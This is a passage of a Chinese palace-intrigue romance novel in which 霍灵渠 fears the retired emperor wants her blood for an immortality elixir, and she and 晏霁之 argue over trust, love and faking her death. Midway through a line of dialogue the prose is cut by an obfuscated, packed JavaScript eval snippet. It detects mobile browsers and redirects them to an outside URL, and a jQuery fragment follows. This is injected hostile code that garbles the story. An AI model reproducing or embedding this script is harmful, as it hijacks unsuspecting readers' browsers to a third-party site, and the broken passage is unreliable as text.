晏霁之模棱两可:“谁知道呢。”他只知他忍得很难受,他怀疑他忍不到明日就得破功,语毕他再抱怀里的女人亲热,心痒难当,哪怕这是饮鸩止渴也比没有好啊。 霍灵渠想还是和他谈事散散他的心思,否则放任着,他今夜恐怕真克制不住了。 “嗳,对了,查四姐姐的死因,你可莫要带着先入为主的偏见,否则只怕有偏颇,反而不利于追查真相。”吻毕,霍灵渠柔婉劝诫,丝毫不显刻意。 “当然,哪怕我对庄太妃母女有再多怀疑,没有证实前,我也绝不会就武断认定他们;我是要报仇又不是想针对谁,任何可疑者我都会一视同仁的彻查,放心吧。” 晏霁之按按女人娇媚的红唇,又想吻时被霍灵渠的忧思挡住:“事情已经隔十四五年,真的还能查到真相吗?即使能找到证据、查出真凶又当真能钉死真凶吗? 像授康十六年对霍家大火的阴谋,我大姐说假冒货在我们手中就没法当做证据用;再譬如八公主的死,知道主谋又如何,圣人维护,我姑母只能硬吞下丧女之痛。四姐姐若当真被害而亡,你查明真相找到凶手之后若太上皇又要维护,怎么办呀?” “车到山前必有路,放心吧。”晏霁之哪有详谈的心思,又想亲热时又被霍灵渠的好奇阻挡:“我都忘了,你们把两个假冒货抓到哪里了呀,她们招认了吗?” “明日你回皇宫后问嬴忱璧吧。”话落,晏霁之再想亲热再被拦,他不想猜都猜出来了,瞪她,霍灵渠脉脉柔情,端的是派为你着想的贴心蜜意:“我想聊些正事给你败败火,不然你会伤身的,霁之,我们就说说话吧。” 晏霁之没好气地再瞪瞪她,执酒壶给自己倒葡萄酒喝。霍灵渠甜甜示好:“厨房有红豆,等会儿我舀碗红豆浸泡着,晚膳后,我给你做荷花酥当膳后甜点好不好?” “再备份小馄饨做宵夜吧。”晏霁之挑刺,霍灵渠愉快同意:“好呀,说来,你该好好调养补补,要不然你再向衙门告些假,若是没有调理好落下病根就糟了。” “没事,我的病情见到你就好得差不多了。”晏霁之真拿她没脾气:“但我若是再告假,嬴忱璧就该有意见了。还有件事,四月选秀,你把佟妙兮留到最后让皇帝自己筛。” “让皇帝自己挑?”霍灵渠讶异:“可皇帝不是说让我和郭皇后操持选秀吗?” 晏霁之倒两杯葡萄酒,递杯果酒给她,自己饮杯果酒,淡淡道:“两百名秀女,留到殿选时最多剩半数,你再删掉半数后请皇帝来做最后的择选又何妨?” 霍灵渠喝杯葡萄酒慢慢点头:“对哦,皇帝选嫔妃嘛就该让他自己挑。” “你说谈正事,我还真想起件能要命的大事,我居然差点忘了。”晏霁之神情略凝重:“贵妃册封典礼的宫宴上,国师给你验过身份,太上皇那股兴奋劲,还记得吗?他当场未说出的话应该是:踏破铁鞋无觅处,得来全不费工夫。我只怕他想拿你来炼药。” 霍灵渠倏然愣住,心头重重咯噔声仿佛整颗心突然被系上巨石般不断往下沉,她呆呆看向男人似乎是紧张到忘记害怕:“我、我记得,我想起来了,你提起这事,我就想起来了。我记得当时我只感觉毛骨悚然的,好像被毒蛇缠住了,打心底里冒寒气。” “对,他那股兴奋劲儿也让我瘆得慌。”晏霁之心也沉,刚想商量,霍灵渠爆发了:“我怎么办,我该怎么办啊?!”她像是才受到刺激反应过来她有可能将命在旦夕:“如果太上皇想拿我来炼药,我还能逃脱得了吗?” “我该怎么办,怎么办?我、我……”她当然害怕,谁肯遭这种无妄之灾被白白害死,霍灵渠一时六神无主,急急揪着男人的衣襟想摆脱困局:“我能不能假死,对、假死!假死保管有用,我明天就不回皇宫了,让我爹和祖父安排霍贵妃死掉吧。” “灵渠、灵渠你莫慌呀,越是这种时候越忌自乱阵脚,莫慌。”晏霁之抓住她的手腕,控住她让她镇定:“按前世的寿数,圣人今生还有六年的命;我敢赌,他对你动手之前定然会先对嬴忱璧下杀手,再以让霍贵妃殉葬或者其他名义让霍贵妃消失在人前。” 嘎?霍灵渠戛然一愣:“你是说老皇帝会先对皇帝动杀手,皇帝比我更危险?” 最后几字怎么像有股幸灾乐祸的味道,晏霁之抛掉遐思应对:“禅位本就是权宜之计,他怎么可能放任嬴忱璧久坐龙椅;禅位这几年,他把同道中人找得差不多也把局势看得差不多了,有没有能长生的法宝,他都会想准备重登大宝了。” 霍灵渠自然联想:“你的意思是,我可以找皇帝结盟?” 晏霁之纠正:“是霍家和皇帝协作,你不拖后腿就很好了。” “我几时给你拖过后退?”霍灵渠不服地争辩,晏霁之轻易妥协:“好好好,我说错话,我就是打比方说明你在此事中的作用。你就和皇帝谈,霍家从国师那儿得到的消息,太上皇想拿你来炼长生药,嬴忱璧自然听得明白。” “可我还是想假死,假死远遁多好,我作甚要去掺和这些破事?”霍灵渠烦闷得飚高音:“我就不懂,为何你们在授康二十八年就能醒,我为何竟比你们晚醒四年多?” “呃…你比我们晚四年的因由应该是?”晏霁之瞟瞟她,觉得答案应该会令她更抓狂:“前世,我们都在授康三十六年往宝物里滴血,你在正徽元年以命相搏,相距四年。故而,今生仍得相距四年,我推测应该是如此;你若不信,找到你表哥后问他吧。” 她真的没听错吗?霍灵渠神情呆滞美眸发直险些自闭,只觉得血液里有股能排山倒海的激流在翻滚撞击闹得她直想暴走,凭什么,难怪表哥不情愿,太狠了!! 晏霁之倒杯葡萄酒给她让她压压惊,只当做不用宽慰,她就能消化掉这憋屈地略过吧:“我预估是两年内,太上皇会动手,而我猜最有可能会是在明年的秋冬,你最好一年内把你表哥找来帮忙,虽然没打过交道,但我觉得有他在也许会多点胜算。” 霍灵渠饮尽果酒,看向男人的眼神中有股说不出的冷静,似转眼间就把憋屈抓狂抛了,只因她想到个更危险的情况:“你觉得,嬴忱璧有没有可能也会想拿我来炼药?” 晏霁之愣了愣,他还真没想过,下意识就略掉了,思来也仍直觉不信:“圣人是想长生想得疯魔了脑子不正常,嬴忱璧还能没有这点理智吗?你多虑了。” “古往今来妄想图谋长生的皇帝还嫌少吗?圣人年轻时也很正常吧,也是皇帝做久以后才慢慢丧心病狂的吧,你能保证嬴忱璧将来到死都不会有图谋长生的想法吗?” 面对哪怕只是预测的横祸,人的自我警惕也往往是本能,霍灵渠冷峻问:“可霁之,你凭什么保证,我如何把自己和霍家寄望在你的猜测上,我怎么赌得起?” “你顾虑得是合理,嬴忱璧真能年老时还有这份理智吗?”晏霁之眉头拧成川,沉吟道:“可嬴忱璧应该真没有对他父皇起过杀心,他应该只想握到大权后奉养父皇安稳终老。若是太上皇想拿你炼药,输则大家死;赢,此事绝对瞒不住嬴忱璧。” “我不能赌,嬴忱璧若是想拿我来炼药,我在他眼皮底下还能有生机吗?我不能这样耗着等被挨宰,我不能再留在皇宫里,我必须立即离开。” 霍灵渠急速决定:“我要假死远遁,这是最稳妥的办法。我就不回皇宫了,你派晏诺去霍家解释或者让我爹爹他们来燕山,我亲自跟他们说尽快安排霍贵妃死掉吧。” 晏霁之无奈安抚:“你别说风就是雨啊,若是下月就传出霍贵妃的死讯,嬴忱璧绝对不会信,真要给你安排假死也只能从长计议。而且我看你现在慌得真有些像自己在吓自己,你先把心态放稳再说,不然过段时间你是不是都想怀疑我了?” 说者无心,闻者有意,霍灵渠僵住几息后慢慢戒备地打量他,晏霁之被气笑了:“你这什么眼神,你什么意思,你不觉得你现在杯弓蛇影草木皆兵吗?按你这份疑心,你若告诉霍家是因为太上皇想拿你来炼药才想假死,你还能相信你的家里人吗?” 霍灵渠抿抿唇,只淡淡陈述:“你我都是有前世今生的人。” “所以你就怀疑我,我们居然连这点信任都没有?!”晏霁之被她气得够呛:“你不觉得这是对我的侮辱和亵渎吗?对我人格的侮辱,对我对你这份喜欢的亵渎。” 霍灵渠挣扎下还是遵从自我保护:“你不怕老不怕死吗?拿我试试,对你又没损失。” 倘若嬴忱璧在场,被她这样质疑着该有多憋屈,晏霁之算是能感同身受了:“我想我们还是熬避子汤,我忍得这么辛苦,你非但不褒奖我还反而来侮辱我的人格、亵渎我的爱恋,我何苦来哉啊?你尽管放心,今夜,不,午后,我就不会对你客气了。” 霍灵渠看向他,说不清什么滋味,踌躇会儿还是没回应,留句我去准备午膳就离开。 巳时中的阳光甚灿烂,映在春晖里的花草都像散发着光芒,晏霁之目送她的倩影消失,视线落向怒放的花瓣,忍不住叹气,但愿她不会因此留有心理阴影。 83. 第83章 心是座孤城,闭则阴霾聚。 金乌西斜的光影给破旧的老墙镀上朦胧的柔晕,点点青苔簇在墙角亮眼。 晏霁之踏过申时的柔和走进厨房,注视过浸泡在水盆中的红豆,在灶膛前找到把自己藏起来的女人,他失笑:“亏我还把屋里能藏人的柜子翻了个遍,是我的错,是我不够懂你才会找错,你哪儿会想藏在柜中?” 午膳时他们近乎没有交流,霍灵渠情绪低落,整个儿压抑根本不想理男人。 晌午前某人放话‘熬避子汤’‘对你不客气’之类的话自然随风飘散,晏霁之识趣地去山庄外转转让她冷静会儿,哪想回庄里后见不到人,他只能翻箱倒柜地找人。 霍灵渠抬头,黯淡的眸子里含着没有听懂的疑惑,复而低眉,没作声。 晏霁之把拎着的竹篮放在她手中,搬矮凳来坐在她身边,大有促膝长谈的架势:“柜子四面封闭,压抑且窒息,躲在柜中既是想把自己封闭起来排斥外界也是其性情折射。 生性脆弱孤闭、经不住打击的人才往往会想把自己藏在柜中,灵渠多坚韧开朗,你觉得害怕想找处能令你感到安全的地方,但你绝不会封闭自己更不会排斥外人靠近。此地三面围堵能给你躲藏的安全感,空出一面开阔宽敞,这才是你会想躲藏的地方。” 摆明吹捧她,霍灵渠瞟向竹篮里装着樱桃和酒葫芦,拿葫芦喝果酒。 多数情况她会选樱桃而非酒,晏霁之凝视瞬,叹道:“前两日你问我,我在怕什么?” 霍灵渠愣下后转向他,晏霁之剑眉舒展,雅淡的笑意中似有种雨天倚窗煮茶、边听雨边与自己对弈的闲适:“我怕你会后悔来找我这趟,我怕在山庄的辛劳会累及我们过往的美好被消磨;我怕留不住你,我怕没有把握能让你在除掉贵妃身份后愿意嫁给我。” 如此低的姿态对霍灵渠没有触动是假的,她沉默良久,终是相劝:“忘掉我吧。” 晏霁之腹诽:若非这档糟心事,我能把骄傲献出来吗?我都下血本了,你就四个字打发我?他淡定装腔:“可此刻,我想问你,灵渠,你在害怕什么呢?” 闻言,霍灵渠低眸,圆润的指甲无意识地掐在食指陷出个弯弯的指痕。 晏霁之注视片刻她不经意间的小动作,苦涩瘀滞难抒演得十足:“前天晚上,你还曾言,飞蛾扑火,人多嘲飞蛾傻,可人又焉知扑火不是飞蛾心之所向?圣人是脑子不正常,可他的丧心病狂难道就要化作你的心魔吗?仅因他的疯癫,你就要否决我吗?” “前世,我外祖家因有宝物而险些被灭族,你可知有多惨烈吗?”霍灵渠抬眸看向他,眉眼间染尽哀恸:“我只知道我的血脉很珍贵,人心不可测,而欲望和贪婪永远没有止境。有过前世,你若是生出谋求长生的念头,紧随而来的必是拿我炼药试验。” 霍灵渠弯唇笑,笑得比哭难看:“假若我没有警惕,我就会白白丧命,对不对呀?” 晏霁之兀的像被戳进心头最柔软处,或许是自己心急了,他抚抚她的脸,诚心道:“将心比心,若是我遭遇此事,我可能比你还忌惮。晌午前是我不好,我只顾生气你对我连这么点信任都没有却不曾顾虑你到底有多害怕,不要生我的气好吗?” 霍灵渠沉默会儿后拉过他的手,轻轻嗯声,晏霁之顺势将人拉过来抱怀里,亲她的小脸也没被抗拒,立时吻她,吻毕,他庆幸道:“我都怕你可能想避我如蛇蝎了。” “现在你肯定还不敢对我动坏心思。”霍灵渠闷闷狡辩,她压根儿就没想到推拒,男人抱她亲热,她就自然得陪他拥吻,真是习惯造孽了。 “谁说的?”晏霁之挑眉,暧昧笑:“信不信我现在就对你动坏心思?” 霍灵渠斜眼瞟瞟他,没作声但神情就是明摆着不信,生动的细微表情下是沉闷的撤离,连自己都没意识到因恐慌而被她压抑的嗔笑喜怒就这般轻易地又鲜活起来了。 晏霁之失笑,伸手取走她抱着的竹篮搁在旁边,霍灵渠愣下才明白他取走竹篮的用意,顿时懊恼,她应该握住篮子的,果然下一刻,她就被拥紧亲热。 霍灵渠真想推拒的,可多年柔顺让她在他们亲热时根本反抗不起来,忽而想起她曾想过倘若这男人想藕断丝连那她是拦不住的;没多久,她更连推拒的想法都散了…… 一场热吻把霍灵渠吻做滩春水,她思绪回归,靠在男人怀里和自己生闷气。 晏霁之心情好不再逗她,言归正传:“你觉得拿你来炼药就能享长生吗?” “不觉得,可我如何作想有用吗?关键在于太上皇如何想,我还能左右他的想法吗?”霍灵渠提提气劲儿,总算又振作起来:“他若能有这种想法,你和嬴忱璧为什么不能有,但凡你冒出点试试的念头就是能害我性命的事,我如何能再存侥幸?” “我的喜欢对我自己就一文不值吗?”没有咄咄相逼也没有愤怒,晏霁之只有股淡淡的哀戚萦绕:“你认为,我能因为虚无缥缈的长生之念而伤害自己心爱的女人?” 霍灵渠凝眸对视,逐渐斗志昂扬:“我不知道将来,我也不知道暮年的你会变成怎样,但怕老怕死永远是人之常情,我不觉得你对我的喜欢能超越你对衰老和死亡的惧怕。” 晏霁之理所当然反问:“你怕老怕死吗,这世间有比你性命更重要的吗?” “我不怕老也不怕死,这世间也有比我性命更重要的,但我不可能把自己的性命寄望在对你的信任,我宁可选择不相信你。”霍灵渠很清醒地没有走进陷阱,晏霁之从竹篮中取出酒葫芦喝两口葡萄酒再追击:“那么你觉得,什么样的人才会想寻求长生?” “被欲望和贪婪吞噬掉的人吧。”霍灵渠都猜到他下个问题了,提前给答案:“你不用问我觉得你像吗?我不想赌,你若觉得这是对你的侮辱,我们绝交好了。” 晏霁之再灌两口葡萄酒,重整旗鼓:“你相信这世间有长生吗?” “不信!”霍灵渠利落表态,晏霁之捏捏她的脸蛋,感慨道:“前世,我也不信,但今生我对于圣人想追求长生持保留态度,毕竟世间奇妙莫测,既然能有前世今生的机缘,焉知没有能得享永生的机缘?可我即使如此做想,我也从未想过寻求长生,你信吗?” “不信!”霍灵渠打量他眼再利落给两字,晏霁之弯弯唇笑,从竹篮里拿串樱桃给她,循循善导:“倘若这世间真的有长生,你想要吗?” “呃,还从来没有想过这种假设呢。”霍灵渠歪头沉吟,斟酌会儿后摇头:“不想。假若世间能有得享永生的法宝,可若能获得长生就是老怪物了。寻常的宝物都会被掠夺,何况是永生的生机?若是现世恐怕只会引起世道混乱,不会有好下场的。” “正解!”晏霁之赞同道:“假设,世间有能得享永生的法宝还被太上皇获得了,除非他年过百岁后避世隐居,否则他只会死期不远,可他想永远做皇帝又岂会避世? 没有节制的欲望只会带来没有止境的灾祸,世间既有人永生那么谁又不想尝尝这滋味;届时就算他把儿孙和宗亲杀尽又能如何,天下如蚁附膻,他还想能把控得住局势吗?” “最终只会是江山易主或者改朝换代,他沦做阶下囚或者死。”晏霁之眼底锐利闪逝,但更多的是对浮华浮沉的理性,甚至都没有对此讽刺,只哀悯表述:“可若是避世,一个人孤零零躲着还能有生命的乐趣吗?唯麻木而已。” 霍灵渠若有触动的怔怔注视他,晏霁之温柔笑:“生老病死,自古皆然也;生命的神秘和华彩就在于有始有终,生命若是没有死亡就像是不会起波澜的死水,只会在岁月变迁的沧桑中消磨尽对人世间所有的意趣,最终落个生不如死。” “咳!谁知道是不是你的障眼法想迷惑我呢?”霍灵渠掩饰轻咳,抢过葫芦喝酒,缠绕她两个多时辰的忧惧也在她故作蛮横的活泼中悄然远行,看得晏霁之不禁莞尔。 “好好,你保持警惕吧,但我们猜测圣人可能想拿你来炼药,你还是该和嬴忱璧谈。”晏霁之怜爱地抬手揉揉她的小脑袋,提点道:“只要嬴忱璧不知我们与他是同道中人,他只会觉得他爹想长生不老想得疯魔了而绝不会冒出也想拿你来试试的心思。” “你能担保吗?”霍灵渠很犹豫:“哪怕你能担保,若是你推测错了呢,算了吧。” 嬴忱璧摊到他来做情敌真是积德积来的福运,晏霁之中肯道:“灵渠,你可知你有个说辞很伤人,你觉得我就算是失去你也没有损失,怎么会,失去喜欢的人怎么会没有损伤?我喜欢你,你对我很重要很重要,我相信嬴忱璧对你也真的有情。” 霍灵渠不以为然:“你喜欢我,我还能相信,他?我只觉得他真在意他媳妇。” 我都想觉得你是不是故意,晏霁之佐证道:“前世,在以为霍灵渠已逝的前提下,他还对霍灵渠既追封为皇后又过继子嗣,何故?” “他感激霍家保他的心意吧。”霍灵渠可没有忘记:“毕竟前世霍家保住他了。” “对,定然有此因由,但绝不会是根本,有的是能报答霍家的方式,他何必非得追封个在他眼中已经亡故的前未婚妻?何况前世他可亲耳听你说过:入了娼门。”晏霁之述重点,霍灵渠烦闷排斥:“我绝不相信他长大后没有喜欢的女人反而惦记个八岁的女孩。” “可我甚至愿意相信,哪怕是晋王面对你都可能会留丝余地,因为青葱年华里拥有过的纯真美好;童年是我们生命中最简单的时光,是怀念,是再也找不回来的无忧无虑。” 晏霁之抚过她蹙起的黛眉像是想抚慰她的浮躁,帮他们寻觅童年的温情:“你和嬴忱璧可是童年未婚夫妻啊,童年没有情爱,但童年有温暖,能够温暖他令他感受到希冀和幸福,他想保留曾经拥有过的美好,会惦念你无可厚非。” 霍灵渠险些不自在:“你瞎猜的吧?” “他四岁后回到生母膝下,生母不得宠,过一年多,他生母去世,他给了霍德妃养育,小小年纪常冷着脸,他会觉得他过得好吗,芮家对他又什么态度?” 晏霁之反问:“在他看来,他会否觉得生活晦暗,而你,童年时是你对嬴忱璧最好吗?对于和他定婚约,你没有欣然接受吗,你还不像他童年里的温暖吗?” “说得好像你能看穿他的心思。”霍灵渠倔强抗住:“反正是你的猜测,随你猜。” “好,随我猜,你记得和嬴忱璧谈就行。”晏霁之递串樱桃给她,拿回被她抢走的酒葫芦喝两口葡萄酒,进入下个正题:“还有件事我不想忍你了,你真的懂男女之情吗?” 霍灵渠吃两颗樱桃,不含鄙夷地提醒:“我有喜欢的男人。” 晏霁之对此真不能不吐槽:“你那是孩童的喜欢,你对喜欢的理解还停留在七八岁,不,停留在你五六岁时的见识;我对于你这种小孩过家家的喜欢,我真是醉了。” “只因我与你对于喜欢的理解迥异,你就觉得我的喜欢像小孩过家家;我对于你如此狭隘的胸怀,我才是真的醉了。”霍灵渠英勇反吐槽:“我鄙视你。” 最后四字简直超出她的正常德行,她居然还来劲儿了?!晏霁之很怀疑,这女人是沉闷忧惧两三个时辰压抑太久,刚刚重新放轻松就撒丫欢脱兴奋起来了吗? 晏霁之把她走出心中阴霾的欣慰抛掉,摆出反鄙视跟她掰扯:“你的喜欢让你体会过嫉妒与患得患失焦躁难安吗,你体会过对旁人都视若无睹,只想和爱人好的情绪吗,你又可曾体会过若失去爱人便再没有乐趣、令你万念俱灰的消沉和痛苦吗?” 霍灵渠的感觉是:“你是疯魔了吗?喜欢若是让人变得面目全非还能叫喜欢吗?当然是因为高兴和快乐才会喜欢。”她恍然意识到:“霁之,按你对喜欢的领悟,你会不会弄错了,我觉得你应该不喜欢我吧,是你的想法出问题了。” 还好晏霁之有心理准备才没被噎呛,微笑请教:“那么你觉得我这是种什么想法?” 霍灵渠略微心虚:“你真的想知道吗?”得到肯定答案,她觑觑他,说:“我觉得你可能是闲着无聊想找虐吧,呃,是那种当做逗闷的找虐,用来消遣的。” “我谢谢你!”晏霁之一脸假样,霍灵渠尴尬笑:“哈,我没别的意思,只是表达看法,我绝对包容对喜欢的各种理解不会歧视,随你如何理解,你高兴就好。” “我高兴就好?”晏霁之真不爽:“所以对于我喜欢你,你就毫无负担了是吧?” 霍灵渠奇怪:“我要有什么负担呀?我本来就没有负担呀,是你说你喜欢我,又不是我喜欢你;你喜欢我是你的事,跟我又没有关系,我需要有什么负担?你想什么呢?” 晏霁之强词夺理哄骗:“灵渠,我们前世今生整整十二年多,你该很清楚,我会是轻易动心的男人吗?肯定是你的缘故才令我喜欢上你,既如此,你还能不负责任吗?” 霍灵渠注视他愣愣眨眨眼,呆萌中藏着新鲜:“霁之,你这是强盗想法呀。家中教我,将来若有外男喜欢灵渠,求而不得恼羞成怒反而诬赖是灵渠不好,他就是强盗作风。” “只有最不要脸最没风度最输不起的男人才会有这种强盗想法。”霍灵渠认真告诉他:“我祖父教我,若碰到有强盗想法的男子纠缠灵渠,一脚踹开;踹开还想黏上来,打半死;若击退两回还想纠缠,叫我爹和大伯,你这想法很危险啊。” 她善意告诫:“你可别让我家中知道你喜欢我还有强盗想法,不然我爹要抽你的。” 晏霁之捂捂脸:“我很想请教你,你在北境的少年郎,他是怎么让你喜欢他的?” “哦,我们一起玩得很开心,他说他喜欢我,问我愿意喜欢他吗?我想了想,可以的,我就喜欢他了。”霍灵渠想想也没什么好隐瞒的就告诉他了,然而这答案对于晏霁之真是在刚被攻击得险些没维持住风度的重创后再受波重击,威力堪比胸口碎大石。 是他的错,他不该在明知她还停留在五六岁时小孩过家家似的喜欢的前提下还去请教,这答案实在是太符合他们的风格了:“按你这么个喜欢法,你得喜欢多少男人?” “什么话呀,喜欢岂能随便,我既然已有喜欢的男子又怎会再喜欢别的男子,你把我看成什么样的女人了,水性杨花吗?”霍灵渠飚高音:“霁之?!” “好好好,我的错,我的错。”晏霁之头疼安抚,拿串樱桃给她,刚拿酒葫芦想喝酒,霍灵渠抢走酒葫芦把樱桃给他,他叹气:“真没想过和北境的少年郎再续前缘吗?” 顷刻间,霍灵渠的小气性散尽,低落垂眸:“我和他之间隔着太多血,不可能了。” 晏霁之顺理成章往上爬:“既然和那位没可能了,你就不能忘掉他改为喜欢我吗?” “就算我会忘掉他,我作甚喜欢你呀,我又没闲得要找虐来做乐趣。”霍灵渠瞬间清明:“我现在的处境,将来能离宫也只能在佛前终老,我喜欢你不是给自己找罪受吗?倘若你再冒出想拿我来炼药的想法,咱俩都算仇人了,我脑子被驴踢了也不能喜欢你呀。” 晏霁之脸黑:“我很怀疑你最后句话就是故意来膈应我的,重新措辞表述遍。” 霍灵渠真嫌他矫情得不要不要的:“咱俩都算仇人了,我怎么能喜欢你呢?” “很好,彻底让我心塞,你帮我排解排解吧。”晏霁之脑壳疼地拿过酒葫芦喝果酒,霍灵渠特别流畅接:“我尽量在上半年内适应好没有你,你也在今年就忘掉喜欢我吧。” “更好,我不怀疑你的用意,我肯定你就是小心眼针对我想让我更心塞。”晏霁之瞪她,霍灵渠眨眨水汪汪的大眼睛,毫不心虚:“若不然你帮我想想应付太上皇的对策?” 晏霁之再瞪瞪她,喝口葡萄酒,沉吟道:“我本想你在此事中最好置身事外,但你若想参与且你不怕死,你尽可以在圣人动手之前用你的命去要挟他,让他来帮你做事。” 嘎?霍灵渠惊讶得感觉有股激动在雀跃:“你的意思是,他会比我还珍惜我的命?” “当然,圣人想长生想得都疯魔了,若是他认为用你可炼制出长生药,他岂能让你死?既如此,只要你没被他控制住,你拿你的命相逼还怕不能拿捏他吗?” “对哦…所以说,我其实不用怕他。”霍灵渠眉开眼笑,心花怒放地抚掌,心中阴霾瞬间扫空,晏霁之瞧她这德行忽然有些惨不忍睹:“你可别有事没事就拿自己的命去要挟他,不然把他惹恼了,你当心他忍不到两年,今年就要出手把你拍死。” 霍灵渠横他眼:“我又没闲得慌,他不来惹我,我巴不得离他远远的呢。”她福灵心至:“嗳,你再帮我想想,若是嬴忱璧想拿我炼药,该如何应付?好像不能以命相搏。” 晏霁之懒洋洋的兴味索然:“是啊,你将来若能威胁到太上皇是你还不在他的掌控中,可你做嫔妃就捏在嬴忱璧手里又怎么可能胁迫得了嬴忱璧呢?” 霍灵渠推他把让他好好说话,晏霁之闷声答:“假死吧,我和霍家安排你假死。” “对嘛,我就说假死远遁肯定是最好的办法。”霍灵渠嬉笑着再抚掌,毫不含糊追问:“那么若是你想拿我来炼药,我又如何应付你?你顺便也帮我想了吧。” “我就知道还得轮到我。”晏霁之冷哼:“你可真不拿我当外人更不拿自己当外人。” “这是让你表诚意,前面你说得再天花乱坠都是虚的,这才是实的。”霍灵渠昂昂小脸,明媚的笑意比清晨俏立在杏花枝头的那抹阳光灿烂:“莫非你不敢,你果然在骗我?” 晏霁之没好气地捏捏她的脸蛋,直截了当:“你可以杀我,我们同归于尽。” 霍灵渠很实在的,只想到用匕首等利器正面袭击而没想到还可以用旁门左道,于是乎她怀疑的苗头就蹭蹭往上涨了:“我怎么觉得你更像包藏祸心,我怎么可能杀得了你?” “这世间最好杀的对象就是自己的枕边人,你好歹做细作的人,你不是这样没用吧?”晏霁之嫌她得给她出主意:“要么你在我们云雨时动手,保管能让我们同归于尽。” “你能接受这样不雅的死法?”霍灵渠对于同归于尽挺坦然,倘若这男人将来想害她,她可不觉得她杀掉他后还能有命,同归于尽是最好的结果,但对于云雨时动手?这死相,她真的有点接受不来,至于男人想拿她来炼药后还会否和她行房根本没过她的脑。 晏霁之眉宇间凝满嫌弃,没可奈何训她:“你想不到好办法,我还能有的选吗?” 霍灵渠顿时有点蔫,她也不想摊到那样的死相:“我琢磨琢磨吧,我会好好琢磨的。” “你的脸皮真是比城墙厚了,当我面说琢磨怎么杀掉我。”晏霁之眼含宠溺得刺刺她,霍灵渠斜他眼冷哼:“若是我想杀掉你,定然是因为你想害我在前,咱俩扯平。” “好好好,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459275|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有理。”晏霁之心塞排解得差不多了,哄她莫再窝灶前,去庭院里走走。霍灵渠踌躇下故意指使:“要么你背我,若不然我还是继续留灶膛前,这里安全。” “我抱你吧。”晏霁之说,霍灵渠耍娇蛮:“你抱我抱得还少吗?我稀罕你抱吗?” 晏霁之郁闷得放弃挣扎抱她站起立直,拉她走出灶膛前,再跨出步,背对她屈蹲弯腰。霍灵渠笑逐颜开趴在男人背上,愉悦得仿佛偷吃到了她喜欢的蜜糖。 厨房前的蔚蓝天正在慢慢被渗进橘红,悠扬的惬意让紧绷好久的人儿看得熨帖极了。 他们倚坐在庭前看过黄昏,而后淘米洗菜备晚膳,送走落日余晖又迎来繁星满天;数过牛郎织女星,又品尝过甜甜荷花酥,俩人再烧热水,各自洗漱沐浴。 窗前映出残月悬挂在树梢遗落凄清,寝屋中烛光暖照人影成双,却是温柔正好。 素纱帐里缱绻枕绕,晏霁之抱美人靠在床头看书,没过会儿,书卷被扔床边摇摇欲坠,刚还规矩的男女将规矩抛到云巅,床榻间洋溢醉酒微醺的酡红气息。 “明日,你就得回皇宫了。”晏霁之眷恋地吻她,似怎么也吻不够,霍灵渠想他这黏糊劲儿或许真喜欢自己,毕竟这男人厌恶以唇相触,现在都顾不得了:“你还是今年就忘掉我吧,我们将来做只谈风月的故人,对我们都好呀。” “我争取你离宫后嫁给我,你偏唱反调泼凉水,我还能坚定信念不动摇该多了不得。”晏霁之数落她,霍灵渠丝毫没负担:“你非要这么做,关我什么事。 我可是劝你在今年内忘掉我,我又没让你坚持,与我何干?我可跟你声明啊,你将来可别拿真情错付或者我害得你娶妻晚了之类的来指责我,这样你就太不要脸了。” “看来真是童年时霍家对你教育的问题。”晏霁之喜忧参半:“作为家长对孩子的保护,他们这教育还是很好的。”但是对他就有些糟心了。 “你嘟囔什么,我家对我的教导当然是对我最好的。”霍灵渠嗔他,晏霁之计上心头,亲亲她水嫩的小脸蛋,说:“我说,我们将来要是有女儿也得这般教她。” 霍灵渠:“……”她不可遏止地羞赧,推他把,没好声斥:“瞎说什么呢。” 晏霁之忍俊不禁再搂她拥吻,没多久,丝丝灼热蹿起,霍灵渠忙用尚存的理智压抑,捧捧他的脸阻拦:“再闹没准儿你得洗凉水澡了,安置吧。” “瞧瞧我俩艰难得,我都想找嬴忱璧邀功了。”晏霁之抱她靠在床头平复紊乱的气息,霍灵渠升起股隐忧:“他强行抱我算例外,皇帝答应不会用强,应该能说话算话吧。” “哟,你真不愿意让嬴忱璧抱你吗?前世嬴天漾抱你时我看你很乐意啊。”晏霁之吃味地翻旧账然后就挨打了,他气哼哼谴责:“假若你自己都不愿意让别的男人抱,你好意思想让我和别的女人亲热吗?” 霍灵渠防线坚固:“你娶妻纳妾以后不可避免呀,我管你和妻妾的床帏中事作甚?” 晏霁之呵呵:“我想娶谁呀,我明明有想娶的女人,你偏要强迫我忘记她还想逼我去娶个陌生的女人,请问你这种行径算不算强盗作风,你对得起我吗?” 霍灵渠冷静纠正:“我何时逼过你,我只是好意相劝,你不想听就不听呗。” “给我倒杯茶来。”晏霁之没好气指使,霍灵渠淡然走出床铺去桌前倒茶喝,自己喝杯凉茶再倒茶水送到床前,男人饮尽茶水,她接过空杯再放回圆桌。 “你若真想让我忘记你,我是没办法,但我想到个你能帮我的办法,想试吗?” 霍灵渠刚回床榻躺靠在他怀中就听到这么段说辞,随意嗯声,晏霁之搂着她,貌似诚挚没有歪心思:“这办法不难,就是你先体会我的感受再想办法,所以你就先尝试以我的领悟来喜欢我再找出忘记我的办法,然后把这办法告诉我。” “好像是个法子,但是……”霍灵渠为难道:“我学不来你那种喜欢呀。” “这样,你先想着想独占我,若是我和别的女人说话,你就生气烦闷嫉妒。”晏霁之想她想喜欢就能喜欢,想独占嫉妒应该也想就能做到吧,可惜霍灵渠嫌麻烦:“这得多麻烦,还是你自己想办法吧;毕竟你都有可能想害我,我还管你那么多作甚?” “记得吧,你曾自我评价过你的良心被狗吃了。”晏霁之甩脸:“我何时有过那种想法,完全是你在臆想,我不得不配合你,你好意思再三诬赖我吗?” 霍灵渠驳斥:“我是防范于未然,为自己的生命着想,我有什么不好意思的。” 